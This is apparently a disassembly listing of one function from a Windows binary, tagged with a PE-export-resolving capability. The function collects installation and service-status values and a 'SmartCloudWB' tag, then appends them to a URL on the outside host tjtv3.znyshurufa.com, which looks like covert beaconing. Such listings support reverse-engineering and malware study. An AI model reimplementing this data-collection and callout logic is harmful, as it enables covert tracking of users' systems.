Function at 0x405b70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x51f9bb
mov eax, dword fs:[0]
push eax
sub esp, 0x594
mov eax, dword [0x56b338]
xor eax, esp
mov dword [esp + 0x590], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x56b338]
xor eax, esp
push eax
lea eax, [esp + 0x5a8]
mov dword fs:[0], eax
xor ebx, ebx
mov esi, ecx
push ebx
push 0x561434
lea ecx, [esp + 0xf4]
mov dword [esp + 0x20], esi
mov dword [esp + 0x10c], 0xf
mov dword [esp + 0x108], ebx
mov byte [esp + 0xf8], bl
call fcn.004054c0
mov dword [esp + 0x5b0], ebx
mov edi, dword [esi + 4]
cmp edi, dword [esi + 8]
jbe 0x405bf2
call fcn.0042f791
mov dword [esp + 0x3c], edi
mov ebp, dword [esi + 8]
cmp dword [esi + 4], ebp
jbe 0x405c03
call fcn.0042f791
cmp edi, ebp
je 0x405fc5
cmp edi, dword [esi + 8]
jb 0x405c15
call fcn.0042f791
mov edi, dword [edi]
push 9
push str.QueryName
lea esi, [esp + 0x68]
mov dword [esp + 0x80], 7
mov dword [esp + 0x7c], ebx
mov word [esp + 0x6c], bx
call fcn.004021f0
mov byte [esp + 0x5b0], 1
mov eax, dword [edi]
mov edx, dword [eax + 0x1c]
mov ecx, esi
push ecx
mov ecx, edi
call edx
mov byte [esp + 0x5b0], bl
cmp dword [esp + 0x78], 8
mov ebp, eax
jb 0x405c6c
mov eax, dword [esp + 0x64]
push eax
call fcn.0042f3a5
add esp, 4
mov eax, 7
push 0xc
push str.InstallExist
lea esi, [esp + 0x84]
mov dword [esp + 0x80], eax
mov dword [esp + 0x7c], ebx
mov word [esp + 0x6c], bx
mov dword [esp + 0x9c], eax
mov dword [esp + 0x98], ebx
mov word [esp + 0x88], bx
call fcn.004021f0
mov byte [esp + 0x5b0], 2
mov edx, dword [edi]
mov edx, dword [edx + 0x1c]
mov eax, esi
push eax
mov ecx, edi
call edx
mov byte [esp + 0x5b0], bl
cmp dword [esp + 0x94], 8
mov dword [esp + 0x5c], eax
jb 0x405ce3
mov eax, dword [esp + 0x80]
push eax
call fcn.0042f3a5
add esp, 4
mov eax, 7
push 0xd
push str.ServicesExist
lea esi, [esp + 0xa0]
mov dword [esp + 0x9c], eax
mov dword [esp + 0x98], ebx
mov word [esp + 0x88], bx
mov dword [esp + 0xb8], eax
mov dword [esp + 0xb4], ebx
mov word [esp + 0xa4], bx
call fcn.004021f0
mov byte [esp + 0x5b0], 3
mov edx, dword [edi]
mov edx, dword [edx + 0x1c]
mov eax, esi
push eax
mov ecx, edi
call edx
mov byte [esp + 0x5b0], bl
cmp dword [esp + 0xb0], 8
mov dword [esp + 0x14], eax
jb 0x405d60
mov eax, dword [esp + 0x9c]
push eax
call fcn.0042f3a5
add esp, 4
cmp ebp, ebx
mov esi, 7
mov dword [esp + 0xb0], esi
mov dword [esp + 0xac], ebx
mov word [esp + 0x9c], bx
je 0x405fa1
push ebx
mov edi, 0xf
push 0x561434
lea ecx, [esp + 0xd8]
mov dword [esp + 0xf0], edi
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], bl
call fcn.004054c0
mov byte [esp + 0x5b0], 4
cmp dword [ebp + 0x18], 8
jb 0x405dc2
mov edx, dword [ebp + 4]
jmp 0x405dc5
lea edx, [ebp + 4]
mov eax, edx
mov dword [esp + 0x58], esi
mov dword [esp + 0x54], ebx
mov word [esp + 0x44], bx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x405dd7
sub eax, esi
sar eax, 1
push eax
push edx
lea esi, [esp + 0x48]
call fcn.004021f0
lea ecx, [esp + 0x1c]
push ecx
mov ecx, esi
mov byte [esp + 0x5b4], 5
call fcn.0040d3c0
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [esp + 0xd8]
mov byte [esp + 0x5b8], 6
call fcn.00406ce0
mov ebp, 0x10
cmp dword [esp + 0x34], ebp
jb 0x405e39
mov edx, dword [esp + 0x20]
push edx
call fcn.0042f3a5
add esp, 4
mov esi, 8
mov byte [esp + 0x5b0], 4
cmp dword [esp + 0x58], esi
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
jb 0x405e65
mov eax, dword [esp + 0x44]
push eax
call fcn.0042f3a5
add esp, 4
push 1
push 0x561310
lea eax, [esp + 0xd8]
call fcn.00406dd0
mov eax, dword [esp + 0x5c]
cmp eax, ebx
je 0x405eaf
cmp dword [eax + 0x18], esi
jb 0x405e8a
mov eax, dword [eax + 4]
jmp 0x405e8d
add eax, 4
push 0x561314
push eax
call fcn.0042faa8
add esp, 8
test eax, eax
push 1
lea eax, [esp + 0xd4]
jne 0x405eb8
push str.10_t
jmp 0x405ebd
push 1
lea eax, [esp + 0xd4]
push 0x561324
call fcn.00406dd0
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x405ef9
cmp dword [eax + 0x18], esi
jb 0x405ed4
mov eax, dword [eax + 4]
jmp 0x405ed7
add eax, 4
push 0x561314
push eax
call fcn.0042faa8
add esp, 8
test eax, eax
push 1
lea eax, [esp + 0xd4]
jne 0x405f02
push str.10_t
jmp 0x405f07
push 1
lea eax, [esp + 0xd4]
push 0x561324
call fcn.00406dd0
push 1
push 0x561324
lea eax, [esp + 0xd8]
call fcn.00406dd0
cmp dword [esp + 0x104], ebp
mov edx, dword [esp + 0xf0]
jae 0x405f36
lea edx, [esp + 0xf0]
xor eax, eax
mov ecx, 0x561434
call fcn.00408480
cmp eax, ebx
jne 0x405f56
xor eax, eax
cmp dword [esp + 0x100], ebx
setne al
cmp eax, ebx
je 0x405f69
push 1
push 0x561328
lea eax, [esp + 0xf4]
call fcn.00406dd0
push ebx
lea ecx, [esp + 0xd4]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0xf4]
call fcn.00406ce0
mov byte [esp + 0x5b0], bl
cmp dword [esp + 0xe8], ebp
jb 0x405fa1
mov edx, dword [esp + 0xd4]
push edx
call fcn.0042f3a5
add esp, 4
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x3c]
cmp ecx, dword [eax + 8]
jb 0x405fb3
call fcn.0042f791
add dword [esp + 0x3c], 4
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x3c]
jmp 0x405bf6
mov esi, 0xf
mov dword [esp + 0x13c], esi
mov dword [esp + 0x138], ebx
mov byte [esp + 0x128], bl
lea edi, [esp + 0x124]
mov byte [esp + 0x5b0], 7
call fcn.00406ad0
push ebx
push 0x561434
lea ecx, [esp + 0xbc]
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd0], ebx
mov byte [esp + 0xc0], bl
call fcn.004054c0
push ebx
mov edx, edi
push edx
or eax, 0xffffffff
lea esi, [esp + 0xbc]
mov byte [esp + 0x5b8], 8
call fcn.00406ce0
push 1
push 0x56132c
mov eax, esi
call fcn.00406dd0
push 0xc
push str.SmartCloudWB
lea esi, [esp + 0x48]
mov dword [esp + 0x60], 7
mov dword [esp + 0x5c], ebx
mov word [esp + 0x4c], bx
call fcn.004021f0
lea eax, [esp + 0x1c]
push eax
mov ecx, esi
mov byte [esp + 0x5b4], 9
call fcn.0040d3c0
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [esp + 0xbc]
mov byte [esp + 0x5b8], 0xa
call fcn.00406ce0
mov ebp, 0x10
cmp dword [esp + 0x34], ebp
jb 0x4060ac
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0042f3a5
add esp, 4
mov edi, 8
mov byte [esp + 0x5b0], 8
cmp dword [esp + 0x58], edi
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
jb 0x4060dc
mov edx, dword [esp + 0x44]
push edx
call fcn.0042f3a5
add esp, 4
push 1
push 0x56132c
lea eax, [esp + 0xbc]
call fcn.00406dd0
push 7
push 0x561330
lea eax, [esp + 0xbc]
call fcn.00406dd0
push 1
push 0x56132c
lea eax, [esp + 0xbc]
call fcn.00406dd0
lea eax, [esp + 0x40]
push eax
call fcn.004045c0
mov ecx, eax
call fcn.00401750
lea ecx, [esp + 0x1c]
push ecx
mov ecx, eax
mov byte [esp + 0x5b4], 0xb
call fcn.0040d3c0
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [esp + 0xbc]
mov byte [esp + 0x5b8], 0xc
call fcn.00406ce0
cmp dword [esp + 0x34], ebp
jb 0x406169
mov edx, dword [esp + 0x20]
push edx
call fcn.0042f3a5
add esp, 4
mov byte [esp + 0x5b0], 8
cmp dword [esp + 0x58], edi
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
jb 0x406194
mov eax, dword [esp + 0x44]
push eax
call fcn.0042f3a5
add esp, 4
push 1
push 0x56132c
lea eax, [esp + 0xbc]
call fcn.00406dd0
push ebx
lea ecx, [esp + 0xf0]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0xbc]
call fcn.00406ce0
mov edx, esi
push edx
lea ecx, [esp + 0x144]
call fcn.0040d310
add esp, 4
mov byte [esp + 0x5b0], 0xd
cmp dword [esp + 0x158], edi
mov eax, dword [esp + 0x144]
jae 0x4061f0
lea eax, [esp + 0x144]
push eax
push 0x561338
call fcn.0041a280
push 0x3e7
lea eax, [esp + 0x1c9]
push ebx
push eax
mov byte [esp + 0x1d0], bl
call fcn.00436020
add esp, 0x14
lea ecx, [esp + 0xb4]
push ecx
lea edx, [esp + 0x20]
push edx
call fcn.0040c910
add esp, 8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0xc0]
mov byte [esp + 0x5bc], 0xe
call fcn.00405590
mov byte [esp + 0x5b0], 0xd
cmp dword [esp + 0x34], ebp
jb 0x406260
mov eax, dword [esp + 0x20]
push eax
call fcn.0042f3a5
add esp, 4
mov esi, dword [esp + 0xcc]
cmp esi, ebp
mov edi, dword [esp + 0xb8]
mov dword [esp + 0x14], 0x3e8
mov eax, edi
jae 0x406283
lea eax, [esp + 0xb8]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x406286
sub eax, edx
cmp esi, ebp
mov ecx, edi
jae 0x40629e
lea ecx, [esp + 0xb8]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x1c0]
push edx
push eax
mov eax, ecx
call fcn.0040bd60
add esp, 0xc
lea ecx, [esp + 0x1bc]
call fcn.0041be00
push 0x28
mov edi, 0xf
push str.http:__tjtv3.znyshurufa.com_jp.php_data
lea ecx, [esp + 0x110]
mov dword [esp + 0x128], edi
mov dword [esp + 0x124], ebx
mov byte [esp + 0x114], bl
call fcn.004054c0
lea eax, [esp + 0x1bc]
mov byte [esp + 0x5b0], 0xf
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x406301
sub eax, edx
push eax
lea eax, [esp + 0x1c0]
push eax
lea eax, [esp + 0x110]
call fcn.00406dd0
lea ecx, [esp + 0x15c]
push ecx
call fcn.0041c0a0
mov byte [esp + 0x5b0], 0x10
cmp dword [esp + 0x120], ebp
mov eax, dword [esp + 0x10c]
jae 0x40634d
lea eax, [esp + 0x10c]
push eax
lea esi, [esp + 0x160]
call fcn.0041c310
mov ecx, esi
mov byte [esp + 0x5b0], 0xf
call fcn.0041c150
cmp dword [esp + 0x120], ebp
jb 0x406382
mov edx, dword [esp + 0x10c]
push edx
call fcn.0042f3a5
add esp, 4
cmp dword [esp + 0x158], 8
mov dword [esp + 0x120], edi
mov dword [esp + 0x11c], ebx
mov byte [esp + 0x10c], bl
jb 0x4063b1
mov eax, dword [esp + 0x144]
push eax
call fcn.0042f3a5
add esp, 4
cmp dword [esp + 0xcc], ebp
mov dword [esp + 0x158], 7
mov dword [esp + 0x154], ebx
mov word [esp + 0x144], bx
jb 0x4063e4
mov ecx, dword [esp + 0xb8]
push ecx
call fcn.0042f3a5
add esp, 4
cmp dword [esp + 0x13c], ebp
mov dword [esp + 0xcc], edi
mov dword [esp + 0xc8], ebx
mov byte [esp + 0xb8], bl
jb 0x406412
mov edx, dword [esp + 0x128]
push edx
call fcn.0042f3a5
add esp, 4
cmp dword [esp + 0x104], ebp
mov dword [esp + 0x13c], edi
mov dword [esp + 0x138], ebx
mov byte [esp + 0x128], bl
jb 0x406440
mov eax, dword [esp + 0xf0]
push eax
call fcn.0042f3a5
add esp, 4
mov ecx, dword [esp + 0x5a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x590]
xor ecx, esp
call fcn.0042f3aa
add esp, 0x5a0
ret